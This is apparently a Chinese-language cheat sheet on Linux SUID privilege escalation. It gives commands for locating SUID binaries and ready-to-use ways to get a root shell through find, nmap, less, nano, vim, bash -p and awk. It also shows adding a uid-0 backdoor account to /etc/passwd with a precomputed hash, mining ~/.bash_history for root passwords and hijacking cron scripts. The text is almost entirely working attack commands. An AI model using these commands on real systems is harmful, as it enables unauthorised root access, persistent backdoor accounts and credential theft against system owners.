suid提权:
原理:有suid权限的可执行文件在执行进程时会以文件所有者权限运行,如果所有者是root,就可以利用suid文件进行提权
设置,移除suid权限:
chmod u+s filename #设置suid
chmod u-s filename #去除suid
查找suid文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
利用:
find:
find 具有suid权限的filename -exec whoami ; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p ; -quit
#whoami
#root
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami ;
#至少要有一个文件路径给find
nmap:
nmap可以启动交互式shell,如果有suid就会以root权限开启一个shell
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
也可以跑脚本
#脚本,命名为1.nse:
os.execute('/bin/sh')
#nmap执行命令
nmap --script=1.nse
less/more:
这两个差不多,可以开交互式shell,不过要注意必须查看大文件,不然进入不了翻页,这样无法用!命令进入shell。
less /etc/passwd
!/bin/sh
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
#less 在查看文件时,如果你按下 v 键(代表 “visual edit”),它会尝试调用外部编辑器。less 优先使用 $VISUAL 环境变量指定的编辑器;如果未设置,则回退到 $EDITOR。这里我们设置为shell。
nano:
nano
ctrl + R
ctrl + X
#shell
cp/mv:
用root权限改etc/passwd,写入一个新的root权限账户
cat /etc/passwd
#看格式
openssl passwd -1 -salt test testaaa
#得到md5加密的密码哈希:$1$test$giCVmzusADSPMon2mwEWo1
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
cp passwd /etc/passwd
su - test
vi/vim:
vim.tiny /etc/passwd
:!/bin/sh
bash:
bash -p
#生成一个 bash-3.2#
bash-3.2# id
#uid=1024(qsdz) gid=999(qsdz) euid=0(root) groups=999(qsdz)
awk:
AWK 的主要工作是逐行读取文件,根据指定的规则对每一行进行匹配和处理。
语法:awk '条件 { 动作 }' 文件名
awk 'BEGIN {system("/bin/bash")}'
一些比较神秘的:
cat ~/.bash_history
#这个命令可以查看当前用户使用过的历史命令
#有可能会得到root登录的密码
ls -l /etc/cron*
#查看定期执行的计划任务,如果有用户写的脚本,那么我们可以进行脚本的修改然后回连rootshell,从而提权